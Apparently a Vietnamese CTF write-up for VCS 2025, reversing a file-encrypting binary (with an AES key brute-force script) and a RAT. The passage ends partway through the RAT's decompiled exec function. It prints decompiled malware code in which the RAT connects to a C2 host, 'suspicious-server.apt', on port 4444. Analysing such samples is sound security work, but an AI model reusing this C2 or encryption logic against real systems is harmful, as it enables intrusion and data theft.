Post

VCS 2025

Write up VCS 2025

VCS 2025

Rebingam

image

Challenge PE64 viết = C. Load vào IDA phân tích.

Phân tích tĩnh kết hợp debug thì tại hàm sub_4108C0 load file flag.zip để thực hiện mã hóa:

sub_4108C0 function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
_DWORD *__fastcall sub_4108C0(
        unsigned __int16 *buf,
        __int16 a2,
        int a3,
        __int64 a4,
        unsigned int a5,
        _QWORD *a6,
        _DWORD *a7,
        _DWORD *a8)
{
  __int64 v10; // rsi
  unsigned __int16 *buf_2; // rcx
  int v13; // ebx
  char *buf_12; // r8
  __int16 *v15; // rdx
  _WORD *v16; // rcx
  __int16 v18; // ax
  char *buf_13; // rdx
  unsigned __int16 *buf_5; // rdi
  unsigned __int16 *buf_10; // rcx
  char *buf_14; // rcx
  __int16 v24; // ax
  signed __int64 v25; // rdx
  unsigned __int16 v26; // ax
  char *buf_16; // rsi
  _DWORD *result; // rax
  __int64 v29; // rax
  __int64 v30; // rbx
  char *i_1; // r10
  _BYTE *i; // rcx
  char v33; // al
  int v34; // edi
  char *i_2; // r10
  _WORD *v36; // r11
  _WORD *v37; // r11
  __int64 v38; // rsi
  unsigned __int16 *buf_11; // r11
  int v40; // eax
  char *buf_6; // rbx
  int j; // ecx
  __int64 v43; // rax
  __int64 v44; // rbx
  __int16 *buf_8; // rsi
  __int16 *buf_9; // rax
  char *v47; // rdx
  char v48; // cl
  __int16 *buf_19; // rbx
  int v50; // edi
  __int64 v51; // r10
  _WORD *v52; // r11
  _WORD *v53; // r11
  unsigned __int16 *buf_18; // r11
  int v55; // eax
  int v56; // eax
  int v57; // eax
  int v58; // edi
  int v59; // edx
  int v60; // [rsp+68h] [rbp-98h] BYREF
  unsigned __int64 count_2; // [rsp+70h] [rbp-90h]
  int v62; // [rsp+78h] [rbp-88h]
  int v63; // [rsp+7Ch] [rbp-84h]
  int v64; // [rsp+80h] [rbp-80h] BYREF
  _BYTE *buf_3; // [rsp+88h] [rbp-78h]
  char *bufa; // [rsp+90h] [rbp-70h]
  unsigned __int64 n613; // [rsp+98h] [rbp-68h]
  __int64 v68; // [rsp+A0h] [rbp-60h]
  unsigned __int64 count_1; // [rsp+A8h] [rbp-58h]
  __int64 v70; // [rsp+B0h] [rbp-50h] BYREF
  __int64 v71; // [rsp+B8h] [rbp-48h]
  __int16 *buf_17; // [rsp+C0h] [rbp-40h]
  __int64 v73; // [rsp+C8h] [rbp-38h]
  char *buf_7; // [rsp+D0h] [rbp-30h]
  int v75; // [rsp+D8h] [rbp-28h]
  char *buf_4; // [rsp+E0h] [rbp-20h]
  unsigned __int64 count; // [rsp+E8h] [rbp-18h]
  __int64 v78; // [rsp+F0h] [rbp-10h]
  _QWORD buf_1[2]; // [rsp+F8h] [rbp-8h] BYREF
  _WORD v80[4]; // [rsp+108h] [rbp+8h] BYREF
  char *buf_15; // [rsp+110h] [rbp+10h]
  int n48; // [rsp+118h] [rbp+18h]
  __int64 v83; // [rsp+120h] [rbp+20h]
  _WORD *v84; // [rsp+128h] [rbp+28h]
  int n64; // [rsp+130h] [rbp+30h]
  __int64 v86; // [rsp+138h] [rbp+38h]
  __int64 v87; // [rsp+140h] [rbp+40h]

  v71 = -1;
  buf_1[0] = 0;
  bufa = 0;
  buf_3 = 0;
  buf_4 = 0;
  v63 = 0;
  v70 = 0;
  v60 = 0;
  v64 = 0;
  buf_1[1] = 0;
  v10 = ret_0x412936();
  v78 = v10;
  if ( sub_410530(buf) )
    return 0;
  v75 = unk_7FFE001C;
  buf_7 = (char *)unk_7FFE0014;
  v68 = unk_7FFE0014 / 10000000LL;
  if ( (unsigned int)(unk_7FFE0014 / 10000000LL) == 30 * ((unsigned int)(unk_7FFE0014 / 10000000LL) / 0x1E) )
    sub_40D450(a2);
  buf_2 = buf;
  while ( *buf_2++ )
    ;
  v73 = (unsigned int)(buf_2 - buf) - 1;
  v13 = 2 * (buf_2 - buf + 4);
  count = 2LL * ((unsigned int)(buf_2 - buf) + 4);
  if ( (int)NtWriteFileGather() < 0 )
    return 0;
  buf_12 = buf_4;
  v15 = (__int16 *)v10;
  memset(buf_4, 0, count);
  v16 = (_WORD *)v10;
  while ( *v16++ )
    ;
  if ( ((__int64)v16 - v10) >> 1 != 1 )
  {
    do
    {
      v18 = *v15++;
      *(_WORD *)&buf_12[(_QWORD)v15 - v10 - 2] = v18;
    }
    while ( v18 );
  }
  buf_13 = buf_12;
  buf_5 = buf;
  buf_10 = buf;
  while ( *buf_10++ )
    ;
  if ( buf_10 - buf != 1 )
  {
    buf_14 = buf_12;
    do
    {
      v24 = *(_WORD *)buf_14;
      buf_14 += 2;
    }
    while ( v24 );
    if ( (buf_14 - buf_12) >> 1 != 1 )
    {
      if ( *(_WORD *)buf_12 )
      {
        do
          buf_13 += 2;
        while ( *(_WORD *)buf_13 );
      }
      v25 = buf_13 - (char *)buf;
      do
      {
        v26 = *buf_5++;
        *(unsigned __int16 *)((char *)buf_5 + v25 - 2) = v26;
      }
      while ( v26 );
    }
  }
  v80[1] = v13;
  v80[0] = v13 - 2;
  buf_15 = buf_12;
  memset(buf_1, 0, sizeof(buf_1));
  v84 = v80;
  n48 = 48;
  v83 = 0;
  n64 = 64;
  v86 = 0;
  v87 = 0;
  if ( (int)NtOpenDirectoryObject() < 0 )
    return 0;
  NtQueryInformationToken();
  memset(buf_1, 0, sizeof(buf_1));
  n613 = 613;
  bufa = 0;
  if ( (int)NtWriteFileGather() < 0 )
    return 0;
  buf_16 = bufa;
  memset(bufa, 0, n613);
  if ( !(unsigned int)sub_4107E0(v71, bufa, 613, 1) )
  {
    NtOpenKey();
    return 0;
  }
  v29 = *((unsigned int *)bufa + 15);
  v62 = v29;
  v30 = (unsigned int)v29;
  count_1 = 2 * v29;
  buf_3 = 0;
  if ( (int)NtWriteFileGather() < 0 )
    return 0;
  i_1 = buf_3;
  buf_17 = (__int16 *)buf_3;
  memset(buf_3, 0, count_1);
  for ( i = buf_3; v30; --v30 )
  {
    v33 = i[buf_16 - i_1 + 94];
    *i++ = v33;
  }
  v34 = *((_DWORD *)buf_16 + 14);
  if ( v34 == -1 )
    goto LABEL_49;
  if ( (v34 & 0x10) == 0 )
  {
    ++v60;
    if ( (v34 & 4) == 0 && (v34 & 2) == 0 && (v34 & 1) == 0 && (v34 & 0x100) == 0 && (v34 & 0x10000) == 0 )
    {
      count_2 = 2LL * (unsigned int)(v62 + v73);
      if ( (int)NtWriteFileGather() < 0 )
        return 0;
      memset(0, 0, count_2);
      sub_40BAC0(0, (char *)buf);
      sub_40BB10(0, buf_17);
      v40 = sub_4113D0(0);
      if ( (unsigned int)sub_411330(v40, a5) )
      {
        v63 = 1;
        v70 += sub_40FB30(0);
      }
      else
      {
        v63 = 0;
      }
      if ( (int)NtQueryInformationToken() < 0 )
        return 0;
    }
    goto LABEL_49;
  }
  if ( !(unsigned int)sub_40BA10(i_1, (unsigned __int16 *)(v78 + 835))
    || !(unsigned int)sub_40BA10(i_2, (unsigned __int16 *)(v78 + 839))
    || (v34 & 4) != 0
    || (v34 & 2) != 0
    || (v34 & 0x4000) != 0 )
  {
LABEL_49:
    v38 = a4;
    goto LABEL_50;
  }
  count_2 = 2LL * (unsigned int)(v73 + v62) + 8;
  if ( (int)NtWriteFileGather() < 0 )
    return 0;
  memset(0, 0, count_2);
  sub_40BAC0(0, (char *)buf);
  sub_40BB10(v36, buf_17);
  sub_40BB10(v37, (__int16 *)(v78 + 845));
  v38 = a4;
  sub_4108C0(buf_11, a2, a3, a4, a5, &v70, &v60, &v64);
  if ( (int)NtQueryInformationToken() < 0 )
    return 0;
LABEL_50:
  if ( (int)NtQueryInformationToken() < 0 )
    return 0;
  if ( (int)NtQueryInformationToken() < 0 )
    return 0;
  n613 = 5021696;
  bufa = 0;
  if ( (int)NtWriteFileGather() < 0 )
    return 0;
  buf_6 = bufa;
  memset(bufa, 0, n613);
  buf_7 = buf_6;
  if ( (unsigned int)sub_4107E0(v71, buf_6, 5021696, 0) )
  {
LABEL_54:
    for ( j = 0; ; j = v57 + v68 )
    {
      LODWORD(v68) = j;
      buf_17 = (__int16 *)&buf_6[j];
      v43 = *((unsigned int *)buf_17 + 15);
      v62 = v43;
      v44 = (unsigned int)v43;
      buf_3 = 0;
      count_1 = 2 * v43;
      if ( (int)NtWriteFileGather() < 0 )
        break;
      buf_8 = (__int16 *)buf_3;
      memset(buf_3, 0, count_1);
      buf_9 = buf_8;
      if ( v44 )
      {
        v47 = (char *)((char *)buf_17 - (char *)buf_8);
        do
        {
          v48 = v47[(_QWORD)buf_9 + 94];
          buf_9 = (__int16 *)((char *)buf_9 + 1);
          *((_BYTE *)buf_9 - 1) = v48;
          --v44;
        }
        while ( v44 );
      }
      buf_19 = buf_17;
      v50 = *((_DWORD *)buf_17 + 14);
      if ( v50 != -1 )
      {
        if ( (v50 & 0x10) != 0 )
        {
          if ( (unsigned int)sub_40BA10((char *)buf_8, (unsigned __int16 *)(v78 + 835)) )
          {
            if ( (unsigned int)sub_40BA10((char *)buf_8, (unsigned __int16 *)(v51 + 839)) )
            {
              if ( (v50 & 4) == 0 && (v50 & 2) == 0 && (v50 & 0x4000) == 0 )
              {
                count_2 = 2LL * (unsigned int)(v73 + v62) + 8;
                if ( (int)NtWriteFileGather() < 0 )
                  return 0;
                memset(0, 0, count_2);
                sub_40BAC0(0, (char *)buf);
                sub_40BB10(v52, buf_8);
                sub_40BB10(v53, (__int16 *)(v78 + 845));
                sub_4108C0(buf_18, a2, a3, a4, a5, &v70, &v60, &v64);
                if ( (int)NtQueryInformationToken() < 0 )
                  return 0;
              }
            }
          }
        }
        else
        {
          ++v60;
          if ( (v50 & 4) == 0 && (v50 & 2) == 0 && (v50 & 1) == 0 && (v50 & 0x100) == 0 && (v50 & 0x10000) == 0 )
          {
            count_2 = 2LL * (unsigned int)(v62 + v73);
            if ( (int)NtWriteFileGather() < 0 )
              return 0;
            memset(0, 0, count_2);
            sub_40BAC0(0, (char *)buf);
            sub_40BB10(0, buf_8);
            v55 = sub_4113D0(0);
            if ( (unsigned int)sub_411330(v55, a5) )
            {
              v70 += sub_40FB30(0);
              v56 = 1;
            }
            else
            {
              v56 = 0;
            }
            v63 += v56;
            if ( (int)NtQueryInformationToken() < 0 )
              return 0;
            buf_19 = buf_17;
          }
        }
      }
      if ( (int)NtQueryInformationToken() < 0 )
        return 0;
      v57 = *(_DWORD *)buf_19;
      buf_6 = buf_7;
      if ( !v57 )
      {
        memset(buf_7, 0, 0x4CA000u);
        if ( (unsigned int)sub_4107E0(v71, buf_6, 5021696, 0) )
          goto LABEL_54;
        v38 = a4;
        goto LABEL_85;
      }
    }
    return 0;
  }
LABEL_85:
  if ( (int)NtQueryInformationToken() < 0 )
    return 0;
  NtOpenKey();
  v58 = v63;
  if ( v63 )
  {
    sub_4114E0(buf, v38);
    v59 = v58 + v64;
  }
  else
  {
    v59 = v64;
  }
  *a6 += v70;
  *a7 += v60;
  result = a8;
  *a8 += v59;
  return result;
}

image

Hàm sub_40FB30 thực hiện mã hóa AES flag.zip:

image

Key và iv được sinh bởi sub_40D040:

sub_40D040 function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
__int64 __fastcall sub_40D040(unsigned int a1, unsigned int a2)
{
  unsigned __int64 v2; // rbx
  __int64 n10; // rdi
  unsigned __int64 v4; // r8
  unsigned __int64 n0x63; // rbx
  unsigned int v6; // edx
  _DWORD v8[104]; // [rsp+20h] [rbp-E0h]
  unsigned __int64 v11; // [rsp+1E0h] [rbp+E0h]

  v8[0] = -672873338;
  v8[1] = -511679502;
  v8[2] = -1434665154;
  v8[3] = -1311184532;
  v8[4] = 244624758;
  v8[5] = 800083554;
  v8[6] = -1674819794;
  v8[7] = -1291318566;
  v8[8] = 1799668838;
  v8[9] = 333453009;
  v8[10] = 333241630;
  v8[11] = -1439110579;
  v8[12] = -1376466602;
  v8[13] = 1309703490;
  v8[14] = -779337458;
  v8[15] = 1466451898;
  v8[16] = -1767605178;
  v8[17] = -1639956046;
  v8[18] = -1791216898;
  v8[19] = 2056839978;
  v8[20] = -447439562;
  v8[21] = -999283678;
  v8[22] = 518812398;
  v8[23] = -741835622;
  v8[24] = 1510272038;
  v8[25] = -2136939365;
  v8[26] = 782024926;
  v8[27] = 586732554;
  v8[28] = -1263261418;
  v8[29] = -1831845115;
  v8[30] = -2075337522;
  v8[31] = 673753466;
  v8[32] = -1251732465;
  v8[33] = -1157562510;
  v8[34] = -537098562;
  v8[35] = -1554465558;
  v8[36] = 471100662;
  v8[37] = -1187980830;
  v8[38] = 28081838;
  v8[39] = 1418251866;
  v8[40] = -1463487514;
  v8[41] = 1298174546;
  v8[42] = -1453554541;
  v8[43] = -71787062;
  v8[44] = 460613844;
  v8[45] = 932243650;
  v8[46] = -1760798578;
  v8[47] = 1491659578;
  v8[48] = 874810310;
  v8[49] = 935370034;
  v8[50] = -1967342978;
  v8[51] = 739800746;
  v8[52] = -1294721866;
  v8[53] = 233861026;
  v8[54] = 1147955822;
  v8[55] = 893911066;
  v8[56] = 1468324774;
  v8[57] = 2048925714;
  v8[58] = -2078529442;
  v8[59] = 880297866;
  v8[60] = -499873642;
  v8[61] = 1011904130;
  v8[62] = 164410446;
  v8[63] = -374862600;
  v8[64] = 316990342;
  v8[65] = 343939826;
  v8[66] = -1786982850;
  v8[67] = 349704298;
  v8[68] = -1449874314;
  v8[69] = -1028594334;
  v8[70] = -416532946;
  v8[71] = 1980240336;
  v8[72] = 1715774310;
  v8[73] = 115379666;
  v8[74] = -1092834274;
  v8[75] = -851914422;
  v8[76] = 150243414;
  v8[77] = -1592732606;
  v8[78] = -594743282;
  v8[79] = -630714694;
  v8[80] = 1369709382;
  v2 = v11;
  v8[81] = 1363179698;
  v8[82] = 3981817;
  v8[83] = 1570277927;
  v8[84] = 5512246;
  v8[85] = -680510686;
  v8[86] = -370351634;
  v8[87] = 382206874;
  v8[88] = -721138906;
  v8[89] = -207561838;
  v8[90] = 1503399902;
  v8[91] = -973587702;
  v8[92] = -1884002282;
  v8[93] = 1708136962;
  v8[94] = 256641998;
  v8[95] = 724103290;
  v8[96] = -261868794;
  v8[97] = -301943182;
  v8[98] = -889416258;
  v8[99] = 106488810;
  n10 = 10;
  do
  {
    NtDelayExecution();
    v4 = v11 + ((v2 + (unsigned int)v11 - 99 * (v2 / 0x63)) ^ 0x38CE0FFF);
    v2 = ((v4 + v4 / 0x3E8) << 8) & 0x38CE0FFF00LL;
    --n10;
  }
  while ( n10 );
  n0x63 = v2 % 0x63;
  if ( (unsigned int)n0x63 > 0x63 )
    n0x63 = 0;
  v6 = a1 + v8[n0x63] % (a2 - a1 + 1);
  if ( v6 < a1 || v6 > a2 )
    return sub_40D040(a1, a2);
  else
    return v6;
}

image

image image

Khá rõ ràng khi key được sinh ngẫu nhiên với cấu trúc 8 byte đầu gồm các giá trị 1 đến 4, 8 byte sau toàn là 0. iv cũng được sinh ngẫu nhiên với 4 byte đầu gồm các giá trị 0xF8 đến 0xFB.

Như vậy có thể dễ dàng brute key + iv để giải với điều kiện tìm thấy là decrypt flag.zip sao cho signature là PK/x03/x04:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
from itertools import product

ct = open('flag.zip.abcdefghm', 'rb').read()
keys = []
ivs = []
for i in product(range(1, 5), repeat=8):
    keys.append(bytes(i) + b'\x00' * 8)
    # print(bytes(i) + b'\x00' * 8)
    # break

for j in product(range(0xF8, 0xFC), repeat=4):
    ivs.append(bytes(j) + b'\x00' * 12)
    # print(bytes(j) + b'\x00' * 12)
    # break

ct = ct[:len(ct)//16 * 16]
for k in keys:
    for iv in ivs:
        cipher = AES.new(k, AES.MODE_CBC, iv)
        plain = cipher.decrypt(ct[:16])
        if plain[:4] == b'PK\x03\x04':
            print(f'key: {k}')
            print(f'iv: {iv}')
            print(plain[:10])
            break

image

Script giải:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES

ct = open("flag.zip.abcdefghm", "rb").read()
key = b'\x03\x03\x03\x03\x03\x01\x03\x03\x00\x00\x00\x00\x00\x00\x00\x00'
iv  = b'\xfa\xfa\xfa\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
ct = ct[:len(ct)//16 * 16]
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(ct)

open("flag.zip", "wb").write(pt)
print(pt[:16])
# VCSPassport{VCS_1s_r3cru1t1ng_1nt3rn _: 3}

image

rat

image

Đây là chương trình malware C2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  DWORD VolumeSerialNumber_1; // esi
  SOCKET s_1; // rbx
  u_short v6; // ax
  char v7; // r14
  SOCKET s_2; // rdi
  unsigned __int64 n0x21_1; // rbx
  int v10; // eax
  unsigned __int64 n0x21; // rbx
  int v12; // eax
  unsigned int n32; // ecx
  unsigned __int8 v14; // dl
  SOCKET s_3; // rbx
  struct sockaddr name; // [rsp+40h] [rbp-C0h] BYREF
  __int128 v18; // [rsp+50h] [rbp-B0h]
  ADDRINFOA pHints; // [rsp+60h] [rbp-A0h] BYREF
  __int128 v20; // [rsp+90h] [rbp-70h]
  SOCKET s; // [rsp+A0h] [rbp-60h] BYREF
  char v22; // [rsp+A8h] [rbp-58h]
  struct sockaddr p_name; // [rsp+A9h] [rbp-57h] BYREF
  __int128 v24; // [rsp+B9h] [rbp-47h]
  _OWORD v25[4]; // [rsp+C9h] [rbp-37h] BYREF
  char msg; // [rsp+110h] [rbp+10h] BYREF
  __int64 v27; // [rsp+111h] [rbp+11h]
  _BYTE v28[23]; // [rsp+119h] [rbp+19h]
  char v29; // [rsp+130h] [rbp+30h]
  char buf; // [rsp+138h] [rbp+38h] BYREF
  __int128 v31; // [rsp+139h] [rbp+39h]
  __int128 v32; // [rsp+149h] [rbp+49h]
  WSAData lpWSAData_; // [rsp+160h] [rbp+60h] BYREF
  DWORD VolumeSerialNumber; // [rsp+300h] [rbp+200h] BYREF
  WCHAR RootPathName[4]; // [rsp+308h] [rbp+208h] BYREF

  wcscpy(RootPathName, L"C:\\");
  VolumeSerialNumber = 0;
  if ( !GetVolumeInformationW(RootPathName, 0, 0, &VolumeSerialNumber, 0, 0, 0, 0)
    || (VolumeSerialNumber_1 = VolumeSerialNumber) == 0
    || !crc32(VolumeSerialNumber, &VolumeSerialNumber) )
  {
    ExitProcess_w();
  }
  v22 = 0;
  p_name = 0;
  v24 = 0;
  memset(v25, 0, sizeof(v25));
  if ( WSAStartup(0x202u, &lpWSAData_) )
    return 1;
  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  s_1 = s;
  if ( s != -1 )
  {
    name.sa_family = 2;
    v6 = htons(0x115Cu);
    *RootPathName = 0;
    *name.sa_data = v6;
    pHints.ai_flags = 0;
    pHints.ai_family = 2;
    pHints.ai_socktype = 1;
    pHints.ai_protocol = 6;
    memset(&pHints.ai_addrlen, 0, 32);
    sub_7FF7C5CC50C0(&VolumeSerialNumber, 6u, 0xFFFFFFFFFFFFFFFFuLL, "%u", 4444);
    if ( getaddrinfo("suspicious-server.apt", &VolumeSerialNumber, &pHints, RootPathName) || !*RootPathName )
    {
      *&name.sa_data[2] = inet_addr("suspicious-server.apt");
      if ( *&name.sa_data[2] == -1 )
      {
LABEL_34:
        closesocket(s_1);
        goto LABEL_32;
      }
    }
    else
    {
      name = **(*RootPathName + 32LL);
      freeaddrinfo(*RootPathName);
    }
    if ( connect(s_1, &name, 16) != -1 )
    {
      v22 = 1;
      sub_7FF7C5CC6280(&s, VolumeSerialNumber_1);
      v7 = v25[0] & 0xF8;
      s_2 = s;
      *&v25[2] = *&v25[0];
      LOBYTE(v25[2]) = v25[0] & 0xF8;
      *(&v25[2] + 8) = *(v25 + 8);
      v27 = *&v25[2];
      *v28 = *(v25 + 8);
      HIBYTE(v25[3]) = HIBYTE(v25[1]) & 0x3F | 0x40;
      *(&v25[3] + 7) = *(&v25[1] + 7);
      msg = 1;
      *&v28[15] = *(&v25[1] + 7);
      v29 = HIBYTE(v25[3]);
      if ( v22 )
      {
        n0x21_1 = 0;
        while ( 1 )
        {
          v10 = send(s_2, &msg + n0x21_1, 33 - n0x21_1, 0);
          if ( v10 == -1 )
            break;
          n0x21_1 += v10;
          if ( n0x21_1 >= 0x21 )
          {
            n0x21 = 0;
            while ( 1 )
            {
              v12 = recv(s_2, &buf + n0x21, 33 - n0x21, 0);
              if ( v12 <= 0 )
                goto LABEL_30;
              n0x21 += v12;
              if ( n0x21 >= 0x21 )
              {
                if ( buf != 2 )
                  goto LABEL_30;
                n32 = 0;
                v18 = v25[1];
                *&pHints.ai_addr = v31;
                name = v25[0];
                LOBYTE(name.sa_family) = v7;
                v20 = v32;
                HIBYTE(v18) = _mm_srli_si128(*(v25 + 16), 8).m128i_i8[7] & 0x3F | 0x40;
                *&pHints.ai_flags = name;
                *&pHints.ai_addrlen = v18;
                do
                {
                  v14 = *(&name.sa_family + n32);
                  if ( v14 < *(&v31 + n32) )
                    break;
                  if ( v14 > *(&v31 + n32) )
                  {
                    *&pHints.ai_flags = v31;
                    *&pHints.ai_addrlen = v32;
                    *&pHints.ai_addr = name;
                    v20 = v18;
                    break;
                  }
                  ++n32;
                }
                while ( n32 < 32 );
                sha256_hash(&pHints, 0x40u, &name);
                LODWORD(pHints.ai_addr) = VolumeSerialNumber_1;
                *&pHints.ai_flags = name;
                *&pHints.ai_addrlen = v18;
                sha256_hash(&pHints, 0x24u, &p_name);
                exec(&s);
                s_3 = s;
                if ( s != -1 )
                {
                  closesocket(s);
                  s_3 = -1;
                }
                WSACleanup();
                if ( s_3 != -1 )
                  closesocket(s_3);
                return 0;
              }
            }
          }
        }
      }
LABEL_30:
      if ( s_2 != -1 )
        closesocket(s_2);
      goto LABEL_32;
    }
    goto LABEL_34;
  }
LABEL_32:
  WSACleanup();
  return 1;
}

Để thuận tiện việc debug thì code 1 server giả như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket 

host = 'localhost'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print("Server listening on port", port)
c, addr = s.accept()
print("Connect from ", str(addr))
while 1:
    inp = int(input())
    if inp == 1:
        data = c.recv(1024)
        print(f'Recv from client: {data.hex()}\n')
    elif inp == 2:
        data = bytes.fromhex(input())
        print(f'Send data to client: {data.hex()}\n')
        c.send(data)
    else:
        c.close()
        break

Đồng thời patch lại đoạn connect thay vì tới suspicious-server.apt thì đổi sang 127.0.0.1 để debug.

Đầu tiên lấy VolumeSerialNumber của ổ C:\ và hash crc32, nếu không khớp với target hash thì thoát process:

image

image

image

VolumeSerialNumber chỉ có 4 byte nên dễ dàng brute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from hashlib import md5
import struct
from tqdm import tqdm
from zlib import crc32

target = 0xC1B099CF ^ 0xDEADBEEF
for i in tqdm(range(0, 0x100000000)):
    data = struct.pack('<II', i, i)
    m = md5(data).digest()
    crc = crc32(m) & 0xFFFFFFFF
    if crc == target:
        print(f'\n{hex(crc)}')
        print(f'Found: {hex(i)}')
        break
# 0x2a3ff67

Có giá trị chuẩn rồi thì patch vào chương trình để tiếp tục debug.

Tiếp theo gen random 32 bytes từ VolumeSerialNumber và gửi lên server:

image

image

image

Server gửi lại 32 bytes:

image

image

image

Sau đó hash sha256 64 bytes (32 bytes nhận từ server + 32 bytes random gửi lên server):

image

image

image

Hash tiếp sha256 36 bytes (32 bytes kết quả hash ở trên + 4 bytes VolumeSerialNumber):

image

image

image

Gọi hàm exec thực thi hành vi chính của C2 này:

exec function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
void __fastcall exec(SOCKET *p_s)
{
  char *v2; // rdx
  void **directory; // rbx
  void *v4; // rcx
  void *v5; // rax
  char *v6; // r8
  unsigned __int64 n0x103; // rcx
  unsigned __int64 n0x103_1; // rdx
  unsigned __int64 n0x103_2; // rcx
  __m128i v10; // xmm6
  void *v11; // rcx
  char *v12; // r8
  unsigned __int64 n0x103_3; // rcx
  unsigned __int64 n0x103_4; // rdx
  unsigned __int64 n0x103_5; // rcx
  HANDLE FileW; // rax
  void *FileW_1; // r15
  DWORD FileSize; // eax
  __int64 FileSize_1; // r14
  void *v20; // rax
  _QWORD *lpBuffer; // rdi
  char *v22; // rsi
  BOOL v23; // ebx
  char *v24; // rbx
  __m128i v25; // xmm6
  _BYTE *v26; // rcx
  void *v27; // rcx
  char *v28; // rdx
  unsigned __int64 i_1; // rbx
  unsigned __int64 v30; // rax
  unsigned __int64 i; // rcx
  HANDLE hFile; // rax
  void *hObject; // rdi
  DWORD nNumberOfBytesToWrite; // esi
  BOOL v35; // ebx
  void *v36; // rcx
  void *v37; // rcx
  char *v38; // rcx
  char *v39; // rcx
  char v40[8]; // [rsp+40h] [rbp-C0h] BYREF
  void *CompatibleBitmap[2]; // [rsp+48h] [rbp-B8h] BYREF
  char *v42; // [rsp+58h] [rbp-A8h]
  void *directory_1[2]; // [rsp+60h] [rbp-A0h] BYREF
  char *v44; // [rsp+70h] [rbp-90h]
  char *p_cipher[2]; // [rsp+78h] [rbp-88h] BYREF
  __int64 v46; // [rsp+88h] [rbp-78h]
  DWORD NumberOfBytesWritten; // [rsp+90h] [rbp-70h] BYREF
  DWORD NumberOfBytesRead; // [rsp+94h] [rbp-6Ch] BYREF
  WCHAR PathName[264]; // [rsp+A0h] [rbp-60h] BYREF

